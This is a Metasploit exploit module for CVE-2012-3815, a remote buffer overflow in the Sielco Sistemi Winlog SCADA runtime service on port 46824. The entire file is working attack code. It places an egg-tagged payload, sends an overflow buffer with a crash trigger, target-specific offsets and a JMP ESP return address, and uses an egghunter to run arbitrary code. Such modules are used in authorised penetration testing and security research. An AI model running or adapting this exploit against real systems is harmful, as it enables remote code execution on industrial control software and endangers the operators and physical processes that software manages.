##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
        'Description' => %q{
          This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
          When sending a specially formatted packet to the Runtime.exe service on port 46824,
          an attacker may be able to execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>'
        ],
        'References' => [
          [ 'BID', '53811'],
          [ 'CVE', '2012-3815'],
          [ 'OSVDB', '82654'],
          [ 'EDB', '18986'],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
          [ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00",
          'DisableNops' => true,
        },
        'Targets' => [
          [
            'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
            {
              'Ret' => 0x405153df,
              'Offset' => 167,
            }
          ], #  Jmp ESP - Vclx40.bpl - 0x405153df
          [
            'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
            {
              'Ret' => 0x405153df,
              'Offset' => 151,
            }
          ], #  Jmp ESP - Vclx40.bpl - 0x405153df
          # The reliability depends on the actual project. We need to generate some more
          # targets. Two of them for the default project and one other project is now available.
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-06-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(46824)])
  end

  def exploit
    connect

    egghunter, egg = generate_egghunter(payload.encoded, payload_badchars)

    print_status("Placing the shellcode")
    shellcode = rand_text_alpha(2000)
    shellcode << egg
    sock.put(shellcode)

    select(nil, nil, nil, 1)

    buffer = rand_text_alpha(20)
    buffer << "\x14" * 10	# trigger the crash
    buffer << rand_text_alpha(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << egghunter
    buffer << rand_text_alpha(69 - egghunter.length)

    print_status("Trying target #{target.name}...")
    sock.put(buffer)

    handler
    disconnect
  end
end